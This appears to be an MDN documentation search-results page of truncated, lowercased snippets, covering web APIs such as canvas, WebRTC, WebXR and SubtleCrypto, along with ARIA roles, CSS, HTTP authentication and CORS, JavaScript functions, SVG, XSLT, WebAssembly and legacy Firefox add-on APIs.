...ent.createelement("dt"); dt.textcontent = pop; dl.appendchild(dt); var dd = document.createelement("dd"); var p = document.createelement("p"); p.textcontent = gcotext.pop(); dd.appendchild(p); var canvastodrawon = createcanvas(); var canvastodrawfrom = createcanvas(); var canvastodrawresult = createcanvas(); var ctx = canvastodrawresult.getcontext('2d'); ctx.clearrect(0, 0, width, height) ctx.save(); ctx.drawimage(canvas1, 0, 0, width/2, height/2); ctx.globalcompositeoperation = pop; ctx.drawimage(canvas2, 0, 0, width/2, height/2); ctx.globalcompositeoperation = "source-over"; ctx.fillstyle = "rgba(0,0,0,0.8)"; ctx.fillrect(0, height/2 - 20, width...
...And 7 more matches
Recommended Drag Types - Web APIs
for example: event.datatransfer.setdata("text/plain", "this is text to drag"); dragging text in textboxes and selections on web pages is done automatically by the browser, so you do not need to handle it yourself.
...for example: var dt = event.datatransfer; dt.setdata("text/uri-list", "https://www.mozilla.org"); dt.setdata("text/plain", "https://www.mozilla.org"); as usual, set the text/plain type last, as a fallback for the text/uri-list type.
... var url = event.datatransfer.getdata("url"); you may also see data with the mozilla-specific type text/x-moz-url.
...And 7 more matches
Using Performance Timeline - Web APIs
function log(s) { var o = document.getelementsbytagname("output")[0]; o.innerhtml += s + " <br>"; } function do_work (n) { for (var i=0 ; i < n; i++) { var m = math.random(); } } function print_perf_entry(pe) { log("..name: " + pe.name + "; entrytype: " + pe.entrytype + "; starttime: " + pe.starttime + "; duration: " + pe.duration); } function print_performanceentries() { if (performance.mark === undefined) ...
...{ log("...
... performance.mark not supported"); return; } // create some performance entries via the mark() and measure() methods performance.mark("begin"); do_work(50000); performance.mark("end"); do_work(50000); performance.measure("measure1", "begin", "end"); // use getentries() to iterate all entries var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("all entry[" + i + "]"); print_perf_entry(p[i]); } // use getentries(name, entrytype) to get specific entries p = performance.getentries({name : "measure1", entrytype: "measure"}); for (var i=0; i < p.length; i++) { log("begin and measure [" + i + "]"); print_perf_entry(p[i]); } // use getentriesbytype() to get all "mark" entries p = performance.getentriesbytype("mark"); f...
...And 7 more matches
Multi-touch interaction - Web APIs
el.onpointerup = pointerup_handler; el.onpointercancel = pointerup_handler; el.onpointerout = pointerup_handler; el.onpointerleave = pointerup_handler; } function init() { set_handlers("target1"); set_handlers("target2"); set_handlers("target3"); } pointer down the pointerdown event is fired when a pointer (mouse, pen/stylus or touch point on a touchscreen) makes contact with the contact surface.
... // save this event for later processing (this could be part of a // multi-touch interaction) and update the background color push_event(ev); if (logevents) log("pointerdown: name = " + ev.target.id, ev); update_background(ev); } pointer move the pointermove handler is called when the pointer moves.
... function pointermove_handler(ev) { // note: if the user makes more than one "simultaneous" touch, most browsers // fire at least one pointermove event and some will fire several pointermoves.
...And 7 more matches
SubtleCrypto.sign() - Web APIs
WebAPISubtleCryptosign
syntax const signature = crypto.subtle.sign(algorithm, key, data); parameters algorithm is a string or object that specifies the signature algorithm to use and its parameters: to use rsassa-pkcs1-v1_5, pass the string "rsassa-pkcs1-v1_5" or an object of the form { "name": "rsassa-pkcs1-v1_5" }.
... to use hmac, pass the string "hmac" or an object of the form { "name": "hmac" }.
... /* fetch the contents of the "message" textbox, and encode it in a form we can use for the sign operation.
...And 7 more matches
TextDecoder() - Web APIs
if the value for utflabel is unknown, or is one of the two values leading to a 'replacement' decoding algorithm ( "iso-2022-cn" or "iso-2022-cn-ext"), a domexception with the "typeerror" value is thrown.
... syntax decoder = new textdecoder(utflabel, options); parameters utflabeloptional is a domstring, defaulting to "utf-8", containing the label of the encoder.
... each label is associated with a specific encoding type: possible values of utflabel encoding "unicode-1-1-utf-8", "utf-8", "utf8" 'utf-8' "866", "cp866", "csibm866", "ibm866" 'ibm866' "csisolatin2", "iso-8859-2", "iso-ir-101", "iso8859-2", "iso88592", "iso_8859-2", "iso_8859-2:1987", "l2", "latin2" 'iso-8859-2' "csisolatin3", "iso-8859-3", "iso-ir-109", "iso8859-3", "iso88593", "iso_8859-3", "iso_8859-3:1988", "l3", "latin3" 'iso-8859-3' "csisolatin4", "iso-8859-4", "iso-ir-110", "iso8859-4", "iso88594", "iso_8859-4", "iso_8859-4:1988", "l4", "latin4" 'iso-8859-4' "csisolatincyrillic", "cyrillic", "iso-8859-5", "iso-ir-144", "iso88595", "iso_8859-5", "iso_8859-5:1988" 'iso...
...And 7 more matches
TextEncoder.prototype.encodeInto() - Web APIs
u8array.subarray(position|0) : u8array); } var u8array = new uint8array(8); encodeintoatposition("hello", u8array, 2); console.log( "" + u8array.join() ); // 0,0,104,101,108,108,111,0 buffer sizing to convert a javascript string s, the output space needed for full conversion is never less than s.length bytes and never greater than s.length * 3 bytes.
...u8array.subarray(position|0) : u8array); if (stats.written < u8array.length) u8array[stats.written] = 0; // append null if room return stats; } examples <p class="source">this is a sample paragraph.</p> <p class="result"></p> const sourcepara = document.queryselector('.source'); const resultpara = document.queryselector('.result'); const string = sourcepara.textcontent; const textencoder = new textencoder(); const utf8 = new uint8array(string.length); let encodedresults = textencoder.encodeinto(string, utf8); resultpara.textcontent += 'bytes read: ' + en...
... (function(window){ "use strict"; var log = math.log; var ln2 = math.ln2; var clz32 = math.clz32 || function(x) {return 31 - log(x >>> 0) / ln2 | 0}; var fromcharcode = string.fromcharcode; var patchedu8array = window.uint8array || array; var textencoderprototype = textencoder["prototype"]; var globaltextencoder = window["textencoder"]; var globaltextencoderprototype; var globaltext...
...And 7 more matches
WebGL best practices - Web APIs
it's common to use "degenerate triangles" if you need to draw discontinuous objects as a single drawarrays(triangle_strip) call.
... shaders, programs, and glsl avoid "#ifdef gl_es", which is always true you should never use #ifdef gl_es in your webgl shaders; although some early examples used this, it's not necessary, since this condition is always true in webgl shaders.
...the essl3 spec says this under "error handling": the implementation should report errors as early a possible but in any case must satisfy the following: all lexical, grammatical and semantic errors must have been detected following a call to gllinkprogram errors due to mismatch between the vertex and fragment shader (link errors) must have been detected following a call to gllinkprogram errors due to exceeding resource li...
...And 7 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
negotiation is an inherently asymmetric operation: one side needs to serve as the "caller" while the other peer is the "callee." the perfect negotiation pattern smooths this difference away by separating that difference out into independent negotiation logic, so that your application doesn't need to care which end of the connection it is.
...a polite peer, essentially, is one which may send out offers, but then responds if an offer arrives from the other peer with "okay, never mind, drop my offer and i'll consider yours instead." an impolite peer, which always ignores incoming offers that collide with its own offers.
... const constraints = { audio: true, video: true }; const config = { iceservers: [{ urls: "stun:stun.mystunserver.tld" }] }; const selfvideo = document.queryselector("video.selfview"); const remotevideo = document.queryselector("video.remoteview"); const signaler = new signalingchannel(); const pc = new rtcpeerconnection(config); this code also gets the <video> elements using the classes "selfview" and "remoteview"; these will contain, respectively, the local user's self-view and th...
...And 7 more matches
Starting up and shutting down a WebXR session - Web APIs
let webxrpolyfill = null; function getxr(usepolyfill) { let tempxr; let temppoly; switch(usepolyfill) { case "if-needed": if (!navigator.xr) { webxrpolyfill = new webxrpolyfill(); } tempxr = navigator.xr; break; case "yes": webxrpolyfill = new webxrpolyfill(); tempxr = navigator.xr; break; case "no": default: tempxr = navigator.xr; break; } return tempxr; } const xr = getxr("no"); // get the native xrsystem object const xr = ...
...getxr("yes"); // always returns an xrsystem from the polyfill const xr = getxr("if-needed"); // use the polyfill only if navigator.xr missing the returned xrsystem object can then be used according to the documentation provided here on mdn.
... const immersiveok = await navigator.xr.issessionsupported("immersive-vr"); if (immersiveok) { // create and use an immersive vr session } else { // create an inline session instead, or tell the user about the // incompatibility if inline is required } creating and starting the session a webxr session is represented by an xrsession object.
...And 7 more matches
Sending and Receiving Binary Data - Web APIs
possible values are the empty string (default), "arraybuffer", "blob", "document", "json", and "text".
... var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "arraybuffer"; oreq.onload = function (oevent) { var arraybuffer = oreq.response; // note: not oreq.responsetext if (arraybuffer) { var bytearray = new uint8array(arraybuffer); for (var i = 0; i < bytearray.bytelength; i++) { // do something with each byte in the array } } }; oreq.send(null); you can also read a binary f...
...ile as a blob by setting the string "blob" to the responsetype property.
...And 7 more matches
Generating HTML - Web APIs
for the xml elements, our own namespace is needed, http://devedge.netscape.com/2002/de, and it is given the prefix myns (xmlns:myns="http://devedge.netscape.com/2002/de").
... figure 2 xml file :(example2.xml)view example | view source xml document (example2.xml): <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="example2.xsl"?> <myns:article xmlns:myns="http://devedge.netscape.com/2002/de"> <myns:title>my article</myns:title> <myns:authors> <myns:author company="foopy corp.">mr.
... figure 3 : xsl stylesheet with 2 namespaces (example2.xsl) xsl stylesheet (example2.xsl): <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:myns="http://devedge.netscape.com/2002/de"> <xsl:output method="html"/> ...
...And 7 more matches
ARIA: Navigation Role - Accessibility
<div role="navigation" aria-label="main"> <!-- list of links to main website locations --> </div> this is a website's main navigation.
...if the html5 nav element technique is not being used, use a role="navigation" attribute to define a navigation landmark.
... associated wai-aria roles, states, and properties aria-label a brief description of the purpose of the navigation, omitting the term "navigation", as the screen reader will read both the role and the contents of the label.
...And 7 more matches
ARIA: img role - Accessibility
<div role="img" aria-label="description of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> description any set of content that should be consumed as a single image (which could include images, video, audio, code snippets, emojis, or other content) can be identified using role="img".
... you shouldn't count on the alt text of individual elements images for conveying context to assistive technologies; most screenreaders will consider the element with role="img" set on it to be to be like a black box, and not access the individual elements inside it.
... therefore, provide a comprehensive overall descriptive alt text for image, either in the surrounding text, or by using an aria-label attribute, with optional alt attributes for search engines or sighted users to be written to the page should an image fail: <div role="img" aria-label="description of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> if you wish to add a caption or label to your image that is visible on the page, you can do using: aria-labelledby when the text is a concise label.
...And 7 more matches
ARIA: switch role - Accessibility
the aria switch role is functionally identical to the checkbox role, except that instead of representing "checked" and "unchecked" states, which are fairly generic in meaning, the switch role represents the states "on" and "off." this example creates a widget and assigns the aria switch role to it.
... <button type="button" role="switch" aria-checked="true" id="speakerpower" class="switch"> <span>off</span> <span>on</span> </button> <label for="speakerpower" class="switch">speaker power</label> description the aria switch role is identical to the checkbox role, except instead of being "checked" or "unchecked", it is either "on" and "off." like the checkbox role, the aria-checked attribute is required.
...unlike a <checkbox> or role="checkbox", there is no indeterminate or mixed state.
...And 7 more matches
ARIA: table role - Accessibility
<div role="table" aria-label="semantic elements" aria-describedby="semantic_elements_table_desc" aria-rowcount="81"> <div id="semantic_elements_table_desc">semantic elements to use instead of aria's roles</div> <div role="rowgroup"> <div role="row"> <span role="columnheader" aria-sort="none">aria role</span> <span role="columnheader" aria-sort="none">semantic element</span> </div> </div> <div role="rowgroup"> <div role="row" aria-rowindex="11"> <span role="cell">header</span> <span role="cell">h1</span> </div> <div role="...
...row" aria-rowindex="16"> <span role="cell">header</span> <span role="cell">h6</span> </div> <div role="row" aria-rowindex="18"> <span role="cell">rowgroup</span> <span role="cell">thead</span> </div> <div role="row" aria-rowindex="24"> <span role="cell">term</span> <span role="cell">dt</span> </div> </div> </div> description an element with role="table" is a static tabular structure with rows containing cells.
... to create an aria table, add role="table" to the container element.
...And 7 more matches
An overview of accessible web applications and widgets - Accessibility
--> <ol> <li id="ch1tab"> <a href="#ch1panel">chapter 1</a> </li> <li id="ch2tab"> <a href="#ch2panel">chapter 2</a> </li> <li id="quiztab"> <a href="#quizpanel">quiz</a> </li> </ol> <div> <div id="ch1panel">chapter 1 content goes here</div> <div id="ch2panel">chapter 2 content goes here</div> <div id="quizpanel">quiz content goes here</div> </div> example 2: how the tabs widget might...
...so an element with role="slider" will be controlled in the same way as a native slider is controlled on the operating system.
...--> <ol role="tablist"> <li id="ch1tab" role="tab"> <a href="#ch1panel">chapter 1</a> </li> <li id="ch2tab" role="tab"> <a href="#ch2panel">chapter 2</a> </li> <li id="quiztab" role="tab"> <a href="#quizpanel">quiz</a> </li> </ol> <div> <!-- notice the role and aria-labelledby attributes we've added to describe these panels.
...And 7 more matches
Cognitive accessibility - Accessibility
adaptability guideline 1.3 states "content should be adaptable." create content that can be presented in different ways without losing information or structure.
...guideline 2.2 states "provide users enough time to read and use content." a time limit is any process that happens without user initiation after a set time or on a periodic basis, such as being logged out after 30 minutes or having 15 minutes to make a purchase.
..."essential" means that removing the moving, blinking, scrolling, or auto-updating information would fundamentally change the meaning of the content and/or functionality, and information and functionality cannot be achieved in another way that would conform.
...And 7 more matches
Accessibility documentation index - Accessibility
found 105 pages: # page tags and summary 1 accessibility accessibility, landing accessibility (often abbreviated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way.
... 4 aria test cases aria, accessibility for each example we test the "expected" results with assistive technologies, for each browser that at supports wai-aria in.
...list multiple element ids in a space delimited fashion.this idea is similar to how the "for" attribute is used to link a label to an input.assistive technology, such as screen readers, use this attribute to catalog the objects in a document so that users can navigate between them.
...And 7 more matches
:where() - CSS: Cascading Style Sheets
WebCSS:where
take the following html: <article> <h2>:is()-styled links</h2> <section class="is-styling"> <p>here is my main content.
... this <a href="https://mozilla.org">contains a link</a>.
... </section> <aside class="is-styling"> <p>here is my aside content.
...And 7 more matches
Alternative style sheets - CSS: Cascading Style Sheets
an example: specifying the alternative stylesheets the alternate stylesheets are commonly specified using a <link> element with rel="alternate stylesheet" and title="..." attributes.
... for example: <link href="reset.css" rel="stylesheet" type="text/css"> <link href="default.css" rel="stylesheet" type="text/css" title="default style"> <link href="fancy.css" rel="alternate stylesheet" type="text/css" title="fancy"> <link href="basic.css" rel="alternate stylesheet" type="text/css" title="basic"> in this example, the styles "default style", "fancy", and "basic" will be listed in the page style submenu, with "default style" pre-selected.
... details any stylesheet in a document falls into one of the following categories: persistent (no rel="alternate", no title=""): always applies to the document.
...And 7 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
<div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> i make the .wrapper a grid container.
... <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: 200px 200px 200px; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd...
... <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; ...
...And 7 more matches
content - CSS: Cascading Style Sheets
WebCSScontent
/* keywords that cannot be combined with other values */ content: normal; content: none; /* <image> values */ content: url("http://www.example.com/test.png"); content: linear-gradient(#e66465, #9198e5); /* alt text for generated content, added in the level 3 specification */ content: url("http://www.example.com/test.png") / "this is the alt text"; /* values below can only be applied to generated content using ::before and ::after */ /* <string> value */ content: "prefix"; /* <counter> values */ content: counter(chapter_counter); content: counters(section_counter, "."); /* attr() value linked to the html attribute value */ content: attr(val...
... <string> specifies the "alt text" for the element.
...<length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples headings and quotes this example inserts quotation marks around quotes, and adds the word "chapter" before headings.
...And 7 more matches
Constraint validation - Developer guides
semantic input types the intrinsic constraints for the type attribute are: input type constraint description associated violation <input type="url"> the value must be an absolute url, as defined in the url living standard.
... typemismatch constraint violation <input type="email"> the value must be a syntactically valid email address, which generally has the format username@hostname.tld.
... as an example, we will add a script checking the constraint validation for this simple form: <form> <label for="zip">zip : </label> <input type="text" id="zip"> <label for="country">country : </label> <select id="country"> <option value="ch">switzerland</option> <option value="fr">france</option> <option value="de">germany</option> <option value="nl">the netherlands</option> </select> <input type="submit" value="validate"> </form> this displays the following form...
...And 7 more matches
Standard metadata names - HTML: Hypertext Markup Language
WebHTMLElementmetaname
referrer: controls the http referer header for to requests sent from the document: values for the content attribute of <meta name="referrer"> no-referrer do not send a http referer header.
... notes: dynamically inserting <meta name="referrer"> (with document.write() or appendchild()) makes the referrer behaviour unpredictable.
...the primary use for <meta name="color-scheme"> is to indicate compatibility with—and order of preference for—light and dark color modes.
...And 7 more matches
HTTP authentication - HTTP
this page is an introduction to the http framework for authentication, and shows how to restrict access to your server using the http "basic" schema.
... in the case of a "basic" authentication like shown in the figure, the exchange must happen over an https (tls) connection to be secure.
... the syntax for these headers is the following: www-authenticate: <type> realm=<realm> proxy-authenticate: <type> realm=<realm> here, <type> is the authentication scheme ("basic" is the most common scheme and introduced below).
...And 7 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
additionally, for http request methods that can cause side-effects on server data (in particular, http methods other than get, or post with certain mime types), the specification mandates that browsers "preflight" the request, soliciting supported methods from the server with the http options request method, and then, upon "approval" from the server, sending the actual request.
... servers can also inform clients whether "credentials" (such as cookies and http authentication) should be sent with requests.
... preflighted requests unlike “simple requests” (discussed above), "preflighted" requests first send an http request by the options method to the resource on the other domain, to determine if the actual request is safe to send.
...And 7 more matches
HTTP Index - HTTP
WebHTTPIndex
8 identifying resources on the web domain, http, path, scheme, syntax, uri, url, url syntax, web, fragment, port, query, resources the target of an http request is called a "resource", whose nature isn't defined further; it can be a document, a photo, or anything else.
... 30 reason: credential is not supported if the cors header ‘access-control-allow-origin’ is ‘*’ cors, corsnotsupportingcredentials, cross-origin, error, http, https, messages, reasons, security, console, troubleshooting the cors request was attempted with the credentials flag set, but the server is configured using the wildcard ("*") as the value of access-control-allow-origin, which doesn't allow the use of credentials.
...the value of access-control-allow-headers should be a comma-delineated list of header names, such as "x-custom-information" or any of the standard but non-basic header names (which are always allowed).
...And 7 more matches
Function.name - JavaScript
source code such as: function foo() {}; let foo = new foo(); if (foo.constructor.name === 'foo') { console.log("'foo' is an instance of 'foo'"); } else { console.log('oops!'); } may be compressed to: function a() {}; let b = new a(); if (b.constructor.name === 'foo') { console.log("'foo' is an instance of 'foo'"); } else { console.log('oops!'); } in the uncompressed version, the program runs into the truthy-branch and logs "'foo' is an instance of 'foo'".
... function dosomething() {} dosomething.name; // "dosomething" function constructor name functions created with the syntax new function(...) or just function(...) create function objects and their name is "anonymous".
... (new function).name; // "anonymous" anonymous function expression anonymous function expressions that were created using the keyword function or arrow functions would have ""(an empty string) as their name.
...And 7 more matches
encodeURIComponent() - JavaScript
the encodeuricomponent() function encodes a uri by replacing each instance of certain characters by one, two, three, or four escape sequences representing the utf-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).
...~ * ' ( ) encodeuricomponent() differs from encodeuri as follows: var set1 = ";,/?:@&=+$"; // reserved characters var set2 = "-_.!~*'()"; // unescaped characters var set3 = "#"; // number sign var set4 = "abc abc 123"; // alphanumeric characters + space console.log(encodeuri(set1)); // ;,/?:@&=+$ console.log(encodeuri(set2)); // -_.!~*'() console.log(encodeuri(set3)); // # console.log(encodeuri(set4)); // abc%20abc%20123 (the space gets encoded as %20) consol...
...g(encodeuricomponent(set2)); // -_.!~*'() console.log(encodeuricomponent(set3)); // %23 console.log(encodeuricomponent(set4)); // abc%20abc%20123 (the space gets encoded as %20) note that a urierror will be thrown if one attempts to encode a surrogate which is not part of a high-low pair, e.g., // high-low pair ok console.log(encodeuricomponent('\ud800\udfff')); // lone high surrogate throws "urierror: malformed uri sequence" console.log(encodeuricomponent('\ud800')); // lone low surrogate throws "urierror: malformed uri sequence" console.log(encodeuricomponent('\udfff')); use encodeuricomponent() on user-entered fields from forms post'd to the server.
...And 7 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
that means that both of the following are considered autoplay behavior, and are therefore subject to the browser's autoplay blocking policy: <audio src="/music.mp4" autoplay> and audioelement.play(); the following web features and apis may be affected by autoplay blocking: the html <audio> and <video> elements the web audio api from the user's perspective, a web page or app that spontaneously starts making noise without warning can be jarring, inconvenient, or off-putting.
... example: the autoplay attribute an <audio> element using the autoplay attribute might look like this: <audio id="musicplayer" autoplay> <source src="/music/chapter1.mp4"> </audio> example 2: detecting autoplay failure if you rely on autoplay for anything important, or if autoplay failure will impact your app in any way, you will probably want to be able to tell when it autoplay didn't begin.
... consider this html for a media element: <video src="myvideo.mp4" autoplay onplay=handlefirstplay(event)"> here we have a <video> element whose autoplay attribute is set, with an onplay event handler set up; the event is handled by a function called handlefirstplay(), which receives as input the play event.
...And 7 more matches
Web video codec guide - Web media technologies
this is the effect that is being reduced by "anti-aliasing" filters.
...as a result, the video's contents show a "layered" look, where instead of smooth gradients and transitions, the transitions from color to color are abrupt, causing strips of color to appear.
...ximum frame size ll low level 352 x 288 pixels ml main level 720 x 576 pixels h-14 high 1440 1440 x 1152 pixels hl high level 1920 x 1152 pixels supported color modes y'cbcr with 4:2:0 chroma subsampling in most profiles; the "high" and "4:2:2" profiles support 4:2:2 chroma subsampling as well.
...And 7 more matches
Progressive web app structure - Progressive web apps (PWAs)
the most popular approach is the "app shell" concept, which mixes ssr and csr in exactly the way described above, and in addition follows the "offline first" methodology which we will explain in detail in upcoming articles and use in our example application.
... this structure is fast, and also feels fast as the user sees "something" instantly, instead of a loading spinner or a blank page.
... progressive: start with the "good, old basic website” and progressively add new features while remembering to detect if they are available in the browser and gracefully handle any errors that crop up if support is not available.
...And 7 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
contrary to popular opinion, the answer to this question is not "it can tell from the doctype declaration".
... the real answer to the question is that xml content tells the user agent which dialect the element names belong to by giving them explicit "namespace declarations".
... <svg xmlns="http://www.w3.org/2000/svg"> <!-- more tags here --> </svg> the namespace declaration is provided by the xmlns parameter.
...And 7 more matches
Positions - SVG: Scalable Vector Graphics
« previousnext » in this article, we examine how scalable vector graphics (svg) represents the positions and sizes of objects within a drawing context, including coordinate system and what a "pixel" measurement means in a scalable context.
... example: the element <rect x="0" y="0" width="100" height="100" /> defines a rectangle from the upper left corner, that spans from there 100px to the right and to the bottom.
... what are "pixels"?
...And 7 more matches
<xsl:number> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementnumber
syntax <xsl:number count=expression level="single" | "multiple" | "any" from=expression value=expression format=format-string lang=xml:lang-code letter-value="alphabetic" | "traditional" grouping-separator=character grouping-size=number /> required attributes none.
... format defines the format of the generated number: format="1" 1 2 3 .
...(this is the only format supported at this time) format="01" 01 02 03 .
...And 7 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
there are a number of options available when compiling with emscripten, but the main two scenarios we'll cover are: compiling to wasm and creating html to run our code in, plus all the javascript "glue" code needed to run the wasm in the web environment.
...take a copy of the following simple c example, and save it in a file called hello.c in a new directory on your local drive: #include <stdio.h> int main(int argc, char ** argv) { printf("hello world\n"); } now, using the terminal window you used to enter the emscripten compiler environment, navigate to the same directory as your hello.c file, and run the following command: emcc hello.c -s wasm=1 -o hello.html the options we’ve passed in with the command are as follows: -s wasm=1 — specifies that we want wasm output.
... -o hello.html — specifies that we want emscripten to generate an html page to run our code in (and a filename to use), as well as the wasm module and the javascript "glue" code to compile and instantiate the wasm so it can be used in the web environment.
...And 7 more matches
remote/parent - Archive of obsolete content
loading modules into the child process to load a module into the child process, use remoterequire(): const { remoterequire } = require("sdk/remote/parent"); remoterequire("./my-module.js", module); inter-process communication a module loaded into a different process cannot directly communicate or share state with the module that loaded it.
... // remote.js const { process } = require("sdk/remote/child"); process.port.emit("message-from-remote", "hello from remote"); process.port.on("message-from-main", function(process, message) { console.log("main says: " + message); }); // main.js const { processes, remoterequire } = require("sdk/remote/parent"); remoterequire("./remote.js", module); processes.port.emit("message-from-main", "hello from main"); processes.port.on("message-from-remote", function(process, message) { console.log("remote says: " + ...
... // remote.js const { process } = require("sdk/remote/child"); const { processid } = require("sdk/system/runtime"); process.port.on("fetchid", () => { process.port.emit("id", processid); }); // main.js const { processes, remoterequire } = require("sdk/remote/parent"); // load "remote.js" into every current and future process remoterequire("./remote.js", module); // for every current and future process processes.forevery(process => {...
...And 6 more matches
Display a Popup - Archive of obsolete content
the add-on consists of seven files: package.json: created when you run jpm init index.js: the main add-on code, that creates the button and panel get-text.js: the content script that interacts with the panel content text-entry.html: the panel content itself, specified as html icon-16.png, icon-32.png, and icon-64.png: icons for the button in three different sizes the "index.js" looks like this: var data = require("sdk/self").data; // construct a panel, loading its content from the "text-entry.html" // file in the "data" directory, and loading the "get-text.js" script // into it.
... var text_entry = require("sdk/panel").panel({ contenturl: data.url("text-entry.html"), contentscriptfile: data.url("get-text.js") }); // create a button require("sdk/ui/button/action").actionbutton({ id: "show-panel", label: "show panel", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); // show the panel when the user clicks the button.
... function handleclick(state) { text_entry.show(); } // when the panel is displayed it generated an event called // "show": we will listen for that event and when it happens, // send our own "show" event to the panel's script, so the // script can prepare the panel for display.
...And 6 more matches
Downloading Files - Archive of obsolete content
components.utils.import("resource://gre/modules/privatebrowsingutils.jsm"); const webbrowserpersist = components.constructor("@mozilla.org/embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); var targetfile = services.dirsvc.get("desk", ci.nsifile); targetfile.append("file.bin"); // obtain the privacy context of the brows...
...var privacy = privatebrowsingutils.privacycontextfromwindow(urlsourcewindow); persist.persistflags = persist.persist_flags_from_cache | persist.persist_flags_replace_existing_files; persist.saveuri(uritosave, null, null, null, "", targetfile, privacy); if you don't need detailed progress information, you might be happier with nsidownloader.
... downloading binary files with a progress listener to download a binary file with custom progress listener: components.utils.import("resource://gre/modules/privatebrowsingutils.jsm"); const webbrowserpersist = components.constructor("@mozilla.org/embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); var targetfile = services.dirsvc.get("desk", ci.nsifile); targetfile.append("file.bin"); var obj_uri = services.io.newuri(aurltodownload, null, null); // obtain the privacy context of the browser window that the url // we are downloading comes from.
...And 6 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
this file should be located in the main extension directory and look something like this: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>myextension@mycompany.com</em:id> <em:version>0.1</em:version> <em:targetapplication> <!-- firefox --> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minver...
...whether you build the whole mozilla tree or take this shortcut, you can build from now on by going to /mozilla/$(moz_objdir)/extensions/myextension/ and typing "make" on the command line.
...you'll also see the "exploded" version of the xpi (i.e.
...And 6 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
<?xml version="1.0" encoding="utf-8"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <!-- this description resource includes all the update and compatibility information for a single add-on with the id foobar@developer.mozilla.org.
...--> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org"> <em:updates> <rdf:seq> <!-- each li is a different version of the same add-on --> <rdf:li> <rdf:description> <em:version>2.2</em:version> <!-- this is the version number of the add-on --> <!-- one targetapplication for each application the add-on is compatible with --> <em:targetapplication> <rdf:description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>2.0.0.*</em:maxversion> <!-- this is where this version of the add-on will be ...
...b2hvdg8+oxmcif8d/9evwm8eh/ixuxyzlmrzts3o5tv9eway5ubctqdf1wgtsgk jrgzow1fitkzi7w0//c8ekdmlatguegfns2iltd5p/0kh/hf1rpc1wuqeqkcd4+l bcvq13ad</em:signature> </rdf:description> </rdf:rdf> some people prefer this alternate format (note that much of the information has been trimmed from this example for brevity in order to show the basic structure): <?xml version="1.0" encoding="utf-8"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <!-- this description resource includes all the update and compatibility information for a single add-on with the id foobar@developer.mozilla.org.
...And 6 more matches
Local Storage - Archive of obsolete content
getlocaldirectory : function() { let directoryservice = cc["@mozilla.org/file/directory_service;1"].
... let localdir = directoryservice.get("profd", ci.nsifile); localdir.append("xulschool"); if (!localdir.exists() || !localdir.isdirectory()) { // read and write permissions to owner and group, read-only for others.
... having that function in place, we do something like the following: let myfile = xulschool.getlocaldirectory(); myfile.append("somefile.txt"); // do stuff with the file.
...And 6 more matches
The Box Model - Archive of obsolete content
here's a very simple example of an hbox with 3 child buttons: <hbox> <button label="cat" /> <button label="parrot" /> <button label="porcupine" /> </hbox> this is how it looks on mac os (the black border was added for illustrative purposes, boxes don't have borders by default): if you use a vbox instead, it looks like this: the orientation of boxes (and most xul elements) can be controlled using the orient attribute or the -moz-box-orient css property.
... if we also add flexibility to the "cat" button, this is what we get: now the flexible button is taking the available inner space, moving the other two buttons all the way to the end of the box.
... what would happen if we also add flexibility to the "parrot" button?
...And 6 more matches
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
the keys "product x.y" contain application keys for the given mozilla based browser.
...on these browsers, this is the only directory that can "pick up" an xpt file, as well the only directory that can recognize xpcom components.
